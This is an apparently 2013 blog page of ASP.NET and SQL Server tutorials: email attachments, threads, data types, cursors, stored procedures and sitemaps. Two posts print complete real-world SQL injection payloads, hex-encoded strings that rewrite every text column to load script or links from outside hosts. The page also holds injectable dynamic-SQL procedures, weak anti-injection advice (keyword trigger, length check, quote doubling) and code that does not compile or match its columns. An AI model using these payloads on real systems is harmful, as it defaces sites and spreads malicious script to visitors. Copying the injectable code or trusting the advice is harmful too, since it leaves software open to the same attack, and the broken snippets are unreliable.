Thursday, April 11, 2013

How to send Email with multiple attachments in asp.net

Complete Code to send the single attachment in email you can use the below code
 public static bool SendEMail(string to, string from, string subject, string body, string attachments)
    {
                MailMessage mail = new MailMessage();

                //set the addresses
                mail.From = new MailAddress("info@infoa2z.com");
                mail.To.Add(to);

                //set the content
                mail.Subject = subject;
                mail.Body = body;
                mail.IsBodyHtml = true;
                if (attachments.Length > 0)
                {
                    if (System.IO.File.Exists(attachments.Trim()))
                        mail.Attachments.Add(new Attachment(attachments.Trim()));                  
                }
              
                //Authenticate we set the username and password properites on the SmtpClient
                 SmtpClient client = new SmtpClient("smtp.cmyfleet.com");
                NetworkCredential credential = new NetworkCredential("info@infoa2z.com", "XXXXXXXX");
                client.UseDefaultCredentials = false;
                client.Credentials = credential;
                client.Send(mail);
                return true;
    }
To send the Multiple attachment in email ASP.Net

 public  bool SendEMail(string to, string from, string subject, string body, string attachments)
    {
                MailMessage mail = new MailMessage();

                //set the addresses
                mail.From = new MailAddress("info@infoa2z.com");
                mail.To.Add(to);

                //set the content
                mail.Subject = subject;
                mail.Body = body;
                mail.IsBodyHtml = true;
                if (attachments.Length > 0)
                {
                    if (attachments != string.Empty)
                    mail = AddAttachments(attachments, message); 
                }
              
                //Authenticate we set the username and password properites on the SmtpClient
                 SmtpClient client = new SmtpClient("smtp.cmyfleet.com");
                NetworkCredential credential = new NetworkCredential("info@infoa2z.com", "XXXXXXXX");
                client.UseDefaultCredentials = false;
                client.Credentials = credential;
                client.Send(mail);
                return true;
    }
Add Multiple attachment in email ASP.Net
 private  MailMessage AddAttachments(string attachments, MailMessage mail)
    {
        if (attachments.IndexOf(",") != -1 || attachments.IndexOf(";") != -1)
        {
            char sep = ',';
            if (attachments.IndexOf(",") != -1)
                sep = ',';
            else
                sep = ';';

            string[] temp = attachments.Split(sep);

            int count= 0;
            while (count< temp.Length)
            {
                if (System.IO.File.Exists(temp[count].ToString().Trim()))
                    mail.Attachments.Add(new Attachment(temp[count].ToString().Trim()));
                else
                    throw new IOException("Attachment file not found");

                count++;
            }
        }
        else if (attachments.Length > 0)
        {
            if (System.IO.File.Exists(attachments.Trim()))
               mail.Attachments.Add(new Attachment(attachments.Trim()));
            else
                throw new IOException("Attachment file not found");
        }

        return mail;
    }

SET NOCOUNT ON Improves SQL Server Stored Procedure Performance High

Sometimes even the simplest things can make a difference.  One of these simple items that should be part of every stored procedure is SET NOCOUNT ON.  This one line of code, put at the top of a stored procedure turns off the messages that SQL Server sends back to the client after each T-SQL statement is executed.  This is performed for all SELECT, INSERT, UPDATE, and DELETE statements. Having this information is handy when you run a T-SQL statement in a query window, but when stored procedures are run there is no need for this information to be passed back to the client.
By removing this extra overhead from the network it can greatly improve overall performance for your database and application.

How to create a Thread in Asp.Net

You can see below how to start a thread when application will start to run, this thread will work even no one browsed the site.
  void Application_Start(object sender, EventArgs e)
    {
        // Code that runs on application startup
       Infothread.Start();
    }

Infothread.cs file
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Threading;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.IO;
using System.Collections;
using System.Net.Mail;
using System.Net;
using System.Data;
using System.Data.SqlClient;
using System.Text;
using Microsoft.ApplicationBlocks.Data;
using System.Xml.Linq;
using System.Xml;
using System.Configuration;
/// <summary>
/// Summary description for gdthread
/// </summary>
public class  Infothread
{
    private static bool _Cancel = false;
    public static bool Cancel { get { return _Cancel; } set { _Cancel = value; } }
    private static string address = string.Empty;
    private static Thread _mailThread;
    public static Thread mailThread
    {
        get
        {
            if (_mailThread == null || !_mailThread.IsAlive)
                _mailThread = new Thread(InfoData);
           
            return _mailThread;
        }
        set { _mailThread = value; }
    }
    public static void Start()
    {
        _Cancel = false;
        mailThread.Start();
    }
    public static void Abort()
    {
        _Cancel = true;
        mailThread.Abort();
    }
    public static void InfoData()
    {
        while (!_Cancel)
        {
            int min = DateTime.Now.Minute;
            int hour = DateTime.Now.Hour;
            //if (min % 5 == 0 && sec % 20 == 0)
            //{
                try
                {
                    GeofenceAlert();
                    Thread.Sleep(60000);
                   
                }
                catch (Exception ex) {
                  
                }
             
        }
    }
   public static void GeofenceAlert()
    {
        string sqlQuery = "select * from tblcustomers ";
        SqlDataAdapter adp1 = new SqlDataAdapter(sqlQuery, ConfigClass.DbConn);
        DataSet ds = new DataSet();
        adp1.Fill(ds);
        if (ds.Tables[0].Rows.Count > 0)
        {
            for (int LIntCtr = 0; LIntCtr <= ds.Tables[0].Rows.Count - 1; LIntCtr++)
            {
//Add your code here
            }
        }
    }
   
 
    

SQL server DataTypes

Each column in a SQL Server Table can only contain one specific predefined type of data, such as characters or numbers. This declaration is called a Data Type. In this article, we’ll compare and contrast the various SQL Server 2008 Data Types. In addition, we’ll explore which Data Types are the best solutions for specific situations. There are over thirty-five different Data Types in SQL Server 2008.

Categories

Microsoft classifies the various Data Types into the following seven broader categories: Exact Numbers, Approximate Numbers, Date and Times, Character Strings, Unicode Character Strings, Binary Stings, and Other data types.
 
Data typeRangeStorage
bigint-2^63 (-9,223,372,036,854,775,808) to 2^63-1 (9,223,372,036,854,775,807)8 Bytes
int-2^31 (-2,147,483,648) to 2^31-1 (2,147,483,647)4 Bytes
smallint-2^15 (-32,768) to 2^15-1 (32,767)2 Bytes
tinyint0 to 2551 Byte
Bit:- The SQL Server Database Engine optimizes storage of bit columns. If there are 8 or less bitcolumns in a table, the columns are stored as 1 byte. If there are from 9 up to 16 bit columns, the columns are stored as 2 bytes, and so on.
The string values TRUE and FALSE can be converted to bit values: TRUE is converted to 1 and FALSE is converted to 0. 

Decimal and numeric :-
Numeric data types that have fixed precision and scale.
decimal [ (p[ ,s] )] and numeric[ (p[ ,s] )]
Fixed precision and scale numbers. When maximum precision is used, valid values are from - 10^38 +1 through 10^38 - 1. The ISO synonyms for decimal are dec and dec(p, s). numeric is functionally equivalent to decimal.
p (precision)
The maximum total number of decimal digits that can be stored, both to the left and to the right of the decimal point. The precision must be a value from 1 through the maximum precision of 38. The default precision is 18.
s (scale)
The maximum number of decimal digits that can be stored to the right of the decimal point. Scale must be a value from 0 through p. Scale can be specified only if precision is specified. The default scale is 0; therefore, 0 <= s <= p. Maximum storage sizes vary, based on the precision
 

Strings

This section will begin with a discussion about Character Stings: Char, VarChar, and Text. A Char (Character) Data Type can hold letters, numbers, and keyboard characters. When a Char is defined, its max length, up to 8,000, is also fixed. Think of a Char as holding anything you can type into Notepad--and just like Notepad, if you enter numbers into a Char column, math cannot be performed on them. They are treated as text characters, not numbers. Typically, Char columns are used when the numbers of characters entered into each row are approximately the same, such as a zip code or phone number. If the length of the data will vary from row to row, such as an email address, then use VarChar. A VarChar is a Char of variable (Var) length. When a VarChar is created, its max length is also defined. A main reason to use a VarChar rather than a Char is the amount of physical disk space used by each. In the following example, a Table was created with one Char column and one VarChar column. Both were set to a maximum size of 50. 

Money and smallmoney
Data typeRangeStorage
money-922,337,203,685,477.5808 to 922,337,203,685,477.58078 bytes
smallmoney- 214,748.3648 to 214,748.36474 bytes

Unicode

Unicode is a standard method that allows applications to record characters from languages other than our own. Unicode comes in handy when you’re building multilingual applications or international web sites. The Char and VarChar data types can both be configured to allow Unicode by prefacing them with the letter ‘n’, as in nChar and nVarChar. The price of this flexibility is increased disk space usage. As a ballpark figure, plan on Unicode to be double in disk space. Full details of Unicode can be found on the Unicode Consortium home page: http://unicode.org/ .

Binary Stings

Binary stings are used for saving non-character data, such as images and audio. There are two data types used for this: Binary and VarBinary. They configure like Char and VarChar. VarBinary(Max) can be used to store files of unlimited size. There is also a legacy data type called Image, but it will be discontinued in a future version of SQL Server.

Other Data Types

There are seven Other Data Types including Cursor, HierachyID, SQL Variant, Table, TimeStamp, UniqueIdentifier, and XML. The data type TimeStamp has been replaced by RowVersion. UniqueIdentifier is a unique GUID. The data type SQL Variant can be used when you don’t know what type of data to expect. It’s basically 8,000 bytes of anything goes storage. If you’re using XML, use the actual XML data type rather than a VarChar. The XML type allows binding to collections.

Dates and Times

SQL Server 2008 includes new date and time Data Types.

Count Duplicate Records from Table in SQL Server

To delete all the duplicate records in one query. In this example we will see how to find count of all the duplicate records in the table. In this query we also show you the usage of GROUP BY, HAVING, ORDER BY in one query. This Query will returns the results with duplicate column and its record count 
SELECT email, COUNT(*) Count FROM tblCustomers GROUP BY email HAVING COUNT(*) > 1 ORDER BY COUNT(*) DESC

Before purchase Online Hosting, Products, Traveling, Booking

We are advicing you before Purchase Online Hosting, Hotel room booking, Traveling, Products or to get any other service,  Please search the coupons for that site. More than 60% online seller sites accept the coupons. Sometime you can discounts up to  50% or depands on your purchasing amount also. You have to just enter the name of site from where you are purchasing with "Coupon" word into search bar like "Godaddy Coupons". You will get a long list of coupons. You will be happy to avail the heavy discounts on site. In case you get minimum discount but someting is better than nothing.
Discount Coupons

You can also search the coupon site , when you need to purchase then you can browse that site and get the latest coupons. It would be better if you give this information to other friends.

Get columns of a table SQL SERVER

Using this query, you can get the list of columns of SQL Table using INFORMATION_SCHEMA.COLUMNS.
SELECT COLUMN_NAME
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME = 'tblCustomer'
We can also use the ORDINAL_POSITION method for order by and to select the specific columns of a table according to their position
SELECT *
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME = 'tblCustomer' and ORDINAL_POSITION between 1 and 11
ORDER BY ORDINAL_POSITION

Delete Duplicate Records from Table SQL Server

In this example we show you how to delete Dupllicate records from one line query easily.The table must have identity column(Primary key) which will be used to identify the duplicate records. 
In example table has Userid as Identity Column and Columns which have duplicate data are name, email, PhoneNumber.
We also show usage of Group by Clause, Max Aggregate fucntion.

Delete from TblCustomers Where UserId not in
(
Select Max(Userid)  from TblCustomers 
Group by name, email, PhoneNumber )

Wednesday, April 10, 2013

Quick fix to prevent SQL Injection attach SQL Server, ASP.net ASP

Quick fix to prevent database from SQL Injection:-
I can help you to solve your problem, Click here to contact me

if you have a big website and you need a quick fix to overcome this problem, you can apply trigger. , Using this trigger , there will be no sql query wll execute that contains any vulnerability like

SQL-Server-Injection-Attack

Using this Trigger, we can prevent some keywords like "Script", "title" as normally used in these tyepe of SQl Injections. You can add any other keywords also the below stored procedure. This Procedure will work on 'char','nchar','nvarchar','varchar
create TRIGGER [dbo].[SQlInjection_tblLeadsExtra] ON [dbo].[tblLeadsExtra]
FOR INSERT,UPDATE

AS
    SET NOCOUNT ON;    
    DECLARE @index INT
    DECLARE @columnName VARCHAR(2000)  
    DECLARE @IntNo INT
    DECLARE @ins VARCHAR(200)     

    set @ins = '#inserted'
    select * into #inserted from inserted
     CREATE TABLE #TEMP1(TOTAL   INT)
     DECLARE col_cursor CURSOR FOR select  COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
    WHERE  TABLE_NAME = 'tblLeadsExtra' AND DATA_TYPE IN ('char','nchar','nvarchar','varchar')
    
        OPEN col_cursor
     FETCH NEXT FROM col_cursor INTO @columnName
        WHILE (@@FETCH_STATUS=0)
           BEGIN  
        --exec ('select [@IntNo]=count(*) FROM ['+ @ins +'] where  ['+@columnName+'] like ''%<script%''')
        exec ('INSERT INTO #TEMP1  select count(*) AS TOTAL FROM ['+ @ins +'] where  ['+@columnName+'] like ''%<script%'' OR ['+@columnName+'] like ''%.js%'' OR ['+@columnName+'] like ''%&lt;script%'' OR ['+@columnName+'] like ''%&lt;/title%'' OR ['+@columnName+'] like ''%</title%'' ')

        SELECT @IntNo=TOTAL FROM #TEMP1
        DELETE FROM #TEMP1
                if (@IntNo >0)
          begin                             
                    PRINT 'Transaction has been cancelled'
                 RAISERROR ('Invalid Data found', 16, 1)
                ROLLBACK
                RETURN 
          end  
         FETCH NEXT FROM col_cursor INTO @columnName
             end

    CLOSE col_cursor
    deallocate col_cursor

How attackers make SQL Injection attack, What script they used for SQL injection

SQL injection occurs when user input is not filtered for escape characters and is then passed into an SQL statement. This results in the potential manipulation of the statements performed on the database by the end-user of the application. In this article we guide you, how attackers make SQL Injection attack. I can help you to solve your problem, Click here to contact me
Attacker findout the pages through their software that use the values from Querystring. Attacker add their script in that url and when website site page code get the value from querystring and there is no check to validate the value. All the script pass to database for execution. The Script used in url is in hexadecimal format and it will be in readable format when you run this statement in query anaylser. Don't RUN THIS SCRIPT on LIVE DATABASETo do this make a dummy database and then execute it otherwise your database will be infected.

These statements make the cusrors that fetch all the tables of a databse and then all columns of table to spread the Injection like
SQL-Server-Injection-Attack

+declare+%40s+varchar%288000%29+set+%40s%3Dcast%280x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e333020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d2727223e3c2f7469746c653e3c736372697074207372633d22687474703a2f2f6e6772363161696c2e72722e6e752f736c2e7068703f763d32223e3c2f7363726970743e3c212d2d27272b525452494d28434f4e5645525428564152434841522836303030292c5b272b40432b275d2929207768657265204c45465428525452494d28434f4e5645525428564152434841522836303030292c5b272b40432b275d29292c3137293c3e2727223e3c2f7469746c653e3c736372697074272720272920455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d5245504c41434528525452494d28434f4e5645525428564152434841522838303030292c5b272b40432b275d29292c272774696234326c6577612e72722e6e7527272c27276e6772363161696c2e72722e6e75272729272920455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d5245504c41434528525452494d28434f4e5645525428564152434841522838303030292c5b272b40432b275d29292c2727656e74373769736c612e72722e6e7527272c27276e6772363161696c2e72722e6e75272729272920455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d5245504c41434528525452494d28434f4e5645525428564152434841522838303030292c5b272b40432b275d29292c2727616c61636533346169726275732e72722e6e7527272c27276e6772363161696c2e72722e6e75272729272920455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d5245504c41434528525452494d28434f4e5645525428564152434841522838303030292c5b272b40432b275d29292c27276c707235306f746f632e72722e6e7527272c27276e6772363161696c2e72722e6e75272729272920455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d5245504c41434528525452494d28434f4e5645525428564152434841522838303030292c5b272b40432b275d29292c27276e74657261323863746976652e72722e6e7527272c27276e6772363161696c2e72722e6e75272729272920455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d5245504c41434528525452494d28434f4e5645525428564152434841522838303030292c5b272b40432b275d29292c2727252566726f6d646f6d61696e36252527272c27276e6772363161696c2e72722e6e752727292729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72+as+varchar%288000%29%29+exec%28%40s%29
+declare+%40s+varchar%288000%29+set+%40s%3Dcast%280x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e333020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d2727223e3c2f7469746c653e3c736372697074207372633d22687474703a2f2f6e6772363161696c2e72722e6e752f736c2e7068703f763d32223e3c2f7363726970743e3c212d2d27272b525452494d28434f4e5645525428564152434841522836303030292c5b272b40432b275d2929207768657265204c45465428525452494d28434f4e5645525428564152434841522836303030292c5b272b40432b275d29292c3137293c3e2727223e3c2f7469746c653e3c736372697074272720272920455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d5245504c41434528525452494d28434f4e5645525428564152434841522838303030292c5b272b40432b275d29292c272774696234326c6577612e72722e6e7527272c27276e6772363161696c2e72722e6e75272729272920455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d5245504c41434528525452494d28434f4e5645525428564152434841522838303030292c5b272b40432b275d29292c2727656e74373769736c612e72722e6e7527272c27276e6772363161696c2e72722e6e75272729272920455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d5245504c41434528525452494d28434f4e5645525428564152434841522838303030292c5b272b40432b275d29292c2727616c61636533346169726275732e72722e6e7527272c27276e6772363161696c2e72722e6e75272729272920455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d5245504c41434528525452494d28434f4e5645525428564152434841522838303030292c5b272b40432b275d29292c27276c707235306f746f632e72722e6e7527272c27276e6772363161696c2e72722e6e75272729272920455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d5245504c41434528525452494d28434f4e5645525428564152434841522838303030292c5b272b40432b275d29292c27276e74657261323863746976652e72722e6e7527272c27276e6772363161696c2e72722e6e75272729272920455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d5245504c41434528525452494d28434f4e5645525428564152434841522838303030292c5b272b40432b275d29292c2727252566726f6d646f6d61696e36252527272c27276e6772363161696c2e72722e6e752727292729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72+as+varchar%288000%29%29+exec%28%40s%29

Note:- To run statement use your dummy database only

How to make or use Cursor in SQL Server

What is Cursor- Cursor is a control structure that enables traversal over the records in a database. Cursors facilitate subsequent processing in conjunction with the traversal, such as retrieval, addition and removal of database records. The database cursor characteristic of traversal makes cursors akin to the programming language concept of iterator.

Cursors are used by database programmers to process individual rows returned by database system queries. Cursors enable manipulation of whole result sets at once—a capability that most procedural programming languages lack. In this scenario, a cursor enables the rows in a result set to be processed sequentially.

In SQL procedures, a cursor makes it possible to define a result set (a set of data rows) and perform complex logic on a row by row basis. By using the same mechanics, an SQL procedure can also define a result set and return it directly to the caller of the SQL procedure or to a client application.

A cursor can be viewed as a pointer to one row in a set of rows. The cursor can only reference one row at a time, but can move to other rows of the result set as needed.
Declare variables that will need to be use in cussor like:-
          declare @vehicleID int
           declare @LocationId int
           declare @readedat int   
           declare @CreatedAt datetime
      
begin
           DECLARE CursorName CURSOR FOR
       
            select LocationId, DATEDIFF(mi, readedat,dateadd(mi,300,getdate()))as readedat,speed*@Cspeed from TblArea where  speed*@Cspeed*0.6213>20
            OPEN CursorName   
                  FETCH NEXT FROM CursorName INTO @LocationId, @readedat,@speed
                                     
                      WHILE @@FETCH_STATUS = 0                     
                          BEGIN   
                                   select @vehicleID =vehicleID from vehicle where LocationId=@LocationId
                                   if(@speed*@Cspeed*0.6213>40)
                                       begin
                                       --Put you logic here
                                      end              
                                      
                                  set @LocationId=0
                                  FETCH NEXT FROM CursorName INTO @LocationId, @readedat,@speed  
                           END   
              CLOSE CursorName             
              DEALLOCATE CursorName             
        end      
      

 
  Copy Right © InfoA2Z.co

How to make and use temporary tables in SQl server

Temporary table provides the great help to developer. These tables can be created at runtime according to need and can do the all kinds of operations that one normal table can do. But, based on the table types, the scope is limited. These tables are created inside Tempdb database. There are two type of Temp tables

1)    Local Temp Table
2)    Global Temp Table

Local Temp Table:- Local temp tables are only available to the current connection for the user and they are automatically deleted when the user disconnects from instances. But it is always better to use Drop table #tempname. Local temporary table name is stared with hash "#" .

Global Temp Table: Global Temporary tables name starts with a double hash "##" . Once this table has been created by a connection, like a permanent table it is then available to any user for that database connection. It can only be deleted once all connections have been closed.  So we should use the global tables very rarely, they use the server memory more.

Example of Temporary table:-
Create PROCEDURE [dbo].[Event_GetSchedule]
(
    @Date datetime
)
AS
CREATE TABLE #tempEvent
(
id int,
EventDate datetime,
StartTime varchar(10),
EndTime varchar(10),
EndDate datetime,
FacilityID int,
Customer varchar(100),
FirstName varchar(100),
LastName varchar(100),
Name  varchar(100),
eventType  char(1)
 )
    insert into #tempEvent SELECT
        e.ID, e.EventDate, e.StartTime, e.EndTime, e.EndDate, e.FacilityID, e.Customer,
        e.FirstName, e.LastName, e.FirstName + ' ' + e.LastName as Name,'A'
    FROM
        [Event] as e
        INNER JOIN EventSchedule as esc ON esc.EventID = e.ID       
    WHERE DateDiff(DAY, esc.StartTime, @Date) = 0
   
select * from #tempEvent order by ID desc
drop table #tempEvent

 
  Copy Right © InfoA2Z.com 

Stored Procedure to make listing and search between to and From date or Start Date End Date

In this article i tried to show you , how we can pass the parameter to a stored procedure. We can pass the order type either Complete or failed, Start date and End Date.

CREATE PROCEDURE [dbo].[OrderListingAndSearch] 
@TypeCode VARCHAR(25),
@CustomerName VARCHAR(50)='',
@DATE_FROM VARCHAR(50)='',
@DATE_TO VARCHAR(50)=''

AS
DECLARE @SQL_STR VARCHAR(1000)
  set @SQL_STR = 'Select * from tblPurchaseOrder O   where OrderStatus='''+ @TypeCode +''''

IF(Len(@CustomerName)>0)
    BEGIN
            set @SQL_STR=@SQL_STR +' and O.CustomerName like ''%' + @CustomerName + '%'''

    END
 IF((Len(@DATE_FROM)>0) and (Len(@DATE_TO)>0) )
    BEGIN
        set @SQL_STR=@SQL_STR +' and (CONVERT(VARCHAR,OrderDate,101)>= CONVERT(DATETIME,'''+ @DATE_FROM +''')  AND CONVERT(VARCHAR,OrderDate,101) <= CONVERT(DATETIME,'''+@DATE_TO +'''))'
    END
 IF((Len(@DATE_FROM)>0) and (Len(@DATE_TO)=0) )
    BEGIN
        set @SQL_STR=@SQL_STR +' and (CONVERT(VARCHAR,OrderDate,101)>= CONVERT(DATETIME,'''+ @DATE_FROM +'''))'
    END
    IF((Len(@DATE_FROM)=0) and (Len(@DATE_TO)>0) )
    BEGIN
        set @SQL_STR=@SQL_STR +' and (CONVERT(VARCHAR,OrderDate,101)<= CONVERT(DATETIME,'''+ @DATE_TO +'''))'
    END
   
  set @SQL_STR=@SQL_STR + ' order by orderid desc'
    exec(@SQL_STR)

 
  Copy Right © InfoA2Z

Use of Begin Commit Transaction ROLLBACK in a Stored procedure SQL Server

You can see how we can create a stored Procedure and pass the parameters dyanmically. How we can roll back if transaction failed due to any reason.
Create PROCEDURE  [dbo].[Save_PurchaseOrder]  
(
@UserId int,
@Vendorid int,
@CounterPerson varchar(50),
@ShippedTo varchar(20),
@ShippingCost  varchar(20),
@CustomerName  varchar(50),
@Location  varchar(50),
@OrderStatus char(1),
@ChangeStatusById int=0,
@ChangeStatusByName  varchar(50)='',
@MAXID nvarchar(200) output,
@OtherVendor nvarchar(50),
@OtherTechnician nvarchar(50)

AS 

BEGIN
  
   BEGIN TRANSACTION 
   INSERT INTO [tblPurchaseOrder]
           ([UserId],[Vendorid],[PartsStatus]
           ,[ShippedTo],[ShippingCost],[CustomerName],[Location]
           ,[OrderStatus],[OrderDate],[ChangeStatusById],[ChangeStatusByName],OtherVendor,OtherTechnician)
     VALUES
           (@UserId ,@PartsStatus
           ,@ShippedTo,@ShippingCost,@CustomerName,@Location
           ,@OrderStatus,GETDATE(),@ChangeStatusById,@ChangeStatusByName,@OtherVendor,@OtherTechnician)
           SELECT @MAXID=SCOPE_IDENTITY()
     IF @@ERROR<>0 
      BEGIN 
       ROLLBACK 
       SET @MAXID=0
       RETURN     
      END 
    COMMIT TRANSACTION 
 
END 

 
  Copy Right © InfoA2Z.

SQL Injection attack if you see in page view source http: 116jurist.ru

SQL Injection attack if you see in page view source http://116jurist.ru
In classic ASP website, attacker use the following technique to make SQL Injection. Its very simple way. They attach their hexadecimal code with the querystring and when code get the value from querystring and execute in db then it run and corrupt  the database. I can help you to solve your problem, Click here to contact me

This is one of the example string that used in SQL Injection, attacker can make any type of string using below way.

youpage.asp?id=101+declare+@s+varchar(8000)+set+@s=cast(0x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e383020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d434f4e5645525428564152434841522838303030292c5b272b40432b275d292b27273c2f7469746c653e3c7374796c653e2e616a636a7b706f736974696f6e3a6162736f6c7574653b636c69703a726563742834383970782c6175746f2c6175746f2c3438397078293b7d3c2f7374796c653e3c64697620636c6173733d616a636a3e3c6120687265663d687474703a2f2f3131366a75726973742e7275203efef0e8f1f23c2f613e3c2f6469763e2727202729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72+as+varchar(8000))+exec(@s)--
So please make few change to prevent this problem and these are basic and necessary in all the code.
1) Check the lenght of querystring because pass to db query and pass only if it matached the minimum data info you from querystring.
Like asp.?id=101&name=infoA2Z
Then add the check Len(request("id")<10  else response.redirect("homepage.asp")
In this case query will execute if length is less than 10 otherwise page will move to home page and no chance of SQL Injection.
2) Use Replace to single quote like id=replaace(id,"'","''")

Get the page Content , dataGrid, datalist, gridview content and send in Email asp.net

In this article we show you how to generate the dataGrid, datalist, gridview dynamically at run time and then fill by dataset. That Grid content you send in email or generate the excel file also. We can sent that excel file in Email attachment. Similarly you can also create any other ASP.net control  and render it to get its complete HTML. This HTML you can send either in email or save in database means you can perform any operation
 string getData = "exec[ Stored Procedure name] "+userid+","+otherId+"";
                    SqlDataAdapter adpgetData = new SqlDataAdapter(getData, Config.DbConn);
                    DataSet dsGetData = new DataSet();
                    adpgetData.Fill(dsGetData);
                    if (dsGetData.Tables[0].Rows.Count > 0)
                    {
                        DataGrid dg = new DataGrid();
                        dg.DataSource = dsGetData.Tables[0];
                        dg.DataBind();
                        Hashtable htbl = new Hashtable();
                        string body = RenderGridView(dg);
                        htbl["@emailbody"] = body;
                        SendMail(ToEmailId, "Report:"+Name , "", "Report.htm", htbl, "", fromEmailId);
                 
                    }

public static string RenderGridView(DataGrid dg)
    {
        string returnvalue = string.Empty;
        try
        {
            StringWriter stringWrite = new StringWriter();
            HtmlTextWriter writer = new HtmlTextWriter(stringWrite);
           VerifyRenderingInServerForm(dg);
            dg.RenderControl(writer);
            returnvalue = writer.InnerWriter.ToString();
        }
        catch (Exception ex)
        {
           
        }
        return returnvalue;
    }
    public override void VerifyRenderingInServerForm(Control control)
    {
        return;
    }

 

How to send an email or perform other operation from .aspx page without CS or Vb file ASP.net

Using below method you can send the email fromaspx page directly, no need of aspx.cs/vb file.
There is one text boxes and a submit button on .aspx page and on button click , get the data from textbox and send in email
<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.Net.Mail" %>
<%@ Import Namespace="System.Net" %>
<%@ Import Namespace="System.Drawing" %>
<%@ Import Namespace="System.Drawing.Imaging" %>
<%@ Import Namespace="System.IO" %>

  
  <asp:Button ID="Button1" runat="server" OnClick="Button1_Click" Text="sendData" />
        <script runat="server">
            protected void Button1_Click(object sender, EventArgs e)
            {
                //create the mail message
                MailMessage mail = new MailMessage();

                //set the addresses
                mail.From = new MailAddress("info@infoA2Z.com");
                mail.To.Add("Support@infoA2Z.com");

                //set the content
                mail.Subject = "This is an email";
                mail.Body = "this is the body content of the email.";

                //send the message
                SmtpClient smtp = new SmtpClient();
                smtp.Send(mail);
            }
        </script>
 <asp:TextBox ID="txtBodyContent"   runat="server"></asp:TextBox>

 

ASP.Net: Create Google compliant dynamic XML sitemap in asp.net

Google SiteMaps are an important tool for website developers, webmasters.  A Google Sitemap is an XML file which instructs the Google crawler which URLs in your site to visit, and allows you to tell the crawler how often pages are updated, The lastMod attribute tells Google when the page was last modified, the changefreq attribute tells Google how often the page changesand you can also place a relative priority on the pages within the site. The instructions Google gives is to code the XML file by hand, but of course, with a dynamic website, you don't want to do that.

Google publish extremely helpful guidelines for site owners (are they still called Web Masters??), including details on the specification of the sitemap format
Let's show a sample Sitemap.xml file that is fully Google compliant .

<?xml version="1.0" encoding="utf-8"?>
<urlset xmlns="http://www.google.com/schemas/sitemap/0.84" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                                              xsi:schemaLocation="http://www.google.com/schemas/sitemap/0.84 http://www.google.com/schemas/sitemap/0.84/sitemap.xsd">
  <url>
    <loc>http://www.infoa2z.com/asp.net/get-the-all-files-with-their-name,-size-from-a-folder-asp.net</loc>
    <lastmod>2012-12-12</lastmod>
    <changefreq>daily</changefreq>
    <priority>0.8</priority>
  </url>
  <url>
